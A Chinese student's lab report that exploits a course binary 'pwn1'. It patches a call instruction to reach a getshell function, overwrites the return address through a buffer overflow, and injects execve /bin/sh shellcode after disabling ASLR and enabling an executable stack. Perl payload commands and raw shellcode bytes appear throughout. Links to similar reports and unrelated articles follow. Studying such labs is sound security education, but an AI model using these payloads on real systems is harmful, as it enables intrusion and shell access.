Exp1 PC平台逆向破解(5)M

【 直接修改程序机器指令,改变程序执行流程】

  • 用命令cp pwn1 20155320备份pwn1
  • 输入objdump -d 20155320反汇编,找到call指令,现在就是要把call指令里原来foo的地址换成getshell的地址。
    • getshell的地址是:0804847d
    • foo的地址是:08048491

通过计算,getshell和foo的地址相对偏移量为14,所以d7-14=c3,从c3即为所被改为的地址

  • 依次输入以下命令,修改call指令里的内容,因为call为调用所以修改call里面的内容即能修改调用的函数,e8也代表调用。

    • vi 20155320

    1.按ESC键

    2.输入如下,将显示模式切换为16进制模式:%!xxd

    • 3.查找要修改的内容/e8 d7



- 找到后用以下命令完成将e8d7改为e8c3修改即可

```

修改d7为c3

PS:这个必须要做 转换16进制为原格式:%!xxd -r

存盘退出vi:wq

```

【通过构造输入参数,造成BOF攻击,改变程序执行流】

  • 通过反汇编objdump -d pwn1 | more,确定foo和getshell两段函数的地址。

  • 输入1111111122222222333333334444444455555555通过gdb调试,找到eip中的内容是5的ASCII码,eip存储的是下条指令的地址,所以发现是输入的5字段覆盖了eip的地址。

然后进一步输入1111111122222222333333334444444412345678,找到是1234这几个数字会覆盖返回地址。

  • 输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input把这1234四个字符替换为 getShell 的内存地址

【注入Shellcode并执行】

  • 做好实验前的准备,依次输入以下命令
execstack -s pwn1    //设置堆栈可执行

execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1 more /proc/sys/kernel/randomize_va_space
2 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space
0

注:后续将pwn3重命名为p5320了

  • Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode

    • nop+shellcode+retaddr。

通过尝试发现本实验采用的实际是anything+retaddr+nops+shellcode。

  • 输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

  • 接着输入(cat input_shellcode;cat) | ./pwn1注入攻击

  • 再开另外一个终端,用gdb来调试pwn1这个进程,来计算shellcode的地址。

    • 输入ps -ef | grep p5320得到进程号为1807

    • 用gdb调试,需要设断点在地址0x080484ae

    • 调试,找到esp的地址为0xffffd27c,计算得到需要注入的地址为0xffffd27c+0x00000004=0xffffd280

  • 输入命令 perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode修改地址,输入(cat input_shellcode;cat) | ./p5320完成注入攻击,结果如下。

【实验中遇到的问题及解决】

  • 在查找进程号时,我先在开的第一个终端上回车,出现了老师给的图示结果后再开的第二个终端输入查找进程的命令,结果出现如下问题,找不到进程号。

  • 【解决】后来我发现不能等到出现结果后再开,而应该先开第二个终端。

【总结】

缓冲区溢出实验我曾经在娄老师的课上做过一次,但是是按步骤一步一步做的,并没有实际理解,而且还把虚拟机弄崩了...。这次更加理解了实验的原理,主要是通过修改返回地址调用地址之类的原理,将这些地址改为指向想要执行的代码,虽然更深层次的还不太会,基本简单的攻击思路还是理清了。

Exp1 PC平台逆向破解(5)M的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  10. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

随机推荐

  1. 树莓派 温度监控 PWM 控制风扇 shell python c 语言

    Mine: 图中圈出来的是三极管 和滤波电容 依赖库: wiringPi sudo apt-get install wiringpi Shell脚本 本文介绍使用Shell脚本在树莓派上启用软件PWM ...

  2. 在Android Studio中调用so中的方法

    本节用的so是上节用Android Studio创建的so.想在Android Studio中调用so中的方法,需要先引用so.Android Studio中引用so的方法有二种,下面开始介绍. 一 ...

  3. JavaScript语法详解:if语句&for循环&函数

    本文首发于博客园,并在GitHub上持续更新前端的系列文章.欢迎在GitHub上关注我,一起入门和进阶前端. 以下是正文. if语句 最基本的if语句 if语句的结构体:(格式) if (条件表达式) ...

  4. 一起学习Boost标准库--Boost.texical_cast&format库

    今天接续介绍有关字符串表示相关的两个boost库: lexical_cast 将数值转换成字符串 format 字符串输出格式化 首先,介绍下lexical_cast ,闻其名,知其意.类似C中的at ...

  5. linux命令1—安装optimizer

    ZendChina官方:下面介绍一下关于在linux环境下Zend Optimizer 3.3的安装方法.本篇文章是基于RHEL5架构的linux系统. (1)ZendOptimizer 3.3.3版 ...

  6. SDN2017 第五次实验作业

    实验目的 1.搭建如下拓扑并连接控制器 2.下发相关流表和组表实现负载均衡 3.抓包分析验证负载均衡 实验步骤 建立以下拓扑,并连接上ODL控制器. 利用ODL下发组表.流表,实现建议负载均衡 s1组 ...

  7. [Android自动化] 在 pip-9.0.1 版本情况下安装 uiautomator2 报错的解决办法

    1.在命令窗口中使用命令: pip install uiautomator2 时报 pip 版本过低,需要先升级 pip 版本,理论上会按照提示进行升级 pip 操作,但执行升级命令时到最后却还是报错 ...

  8. MySQL多实例.md

    MySQL5.7多实例配置 数据库实例1配置文件 # cat /etc/my.cnf [mysqld] datadir=/data/mysql port=3306 socket=/tmp/mysql. ...

  9. splay专题复习——bzoj 3224 & 1862 & 1503 题解

    [前言]快要省选二试了.上次去被虐出翔了~~这次即便是打酱油.也要打出风採! 于是暂停新东西的学习,然后開始复习曾经的知识.为骗分做准备.PS:区间翻转的临时跳过,就算学了也来不及巩固了. [BZOJ ...

  10. Grafana3.0.1+Zabbix3.0.4监控系统平台搭建

    前言 本文的Zabbix部分知识只介绍它的基础安装,Zabbix的使用以及配置优化并不在本文的介绍范围之内. 本文只介绍在CentOS6系列下的安装和部署,其他发行版与其他版本号暂不涉及 本文默认使用 ...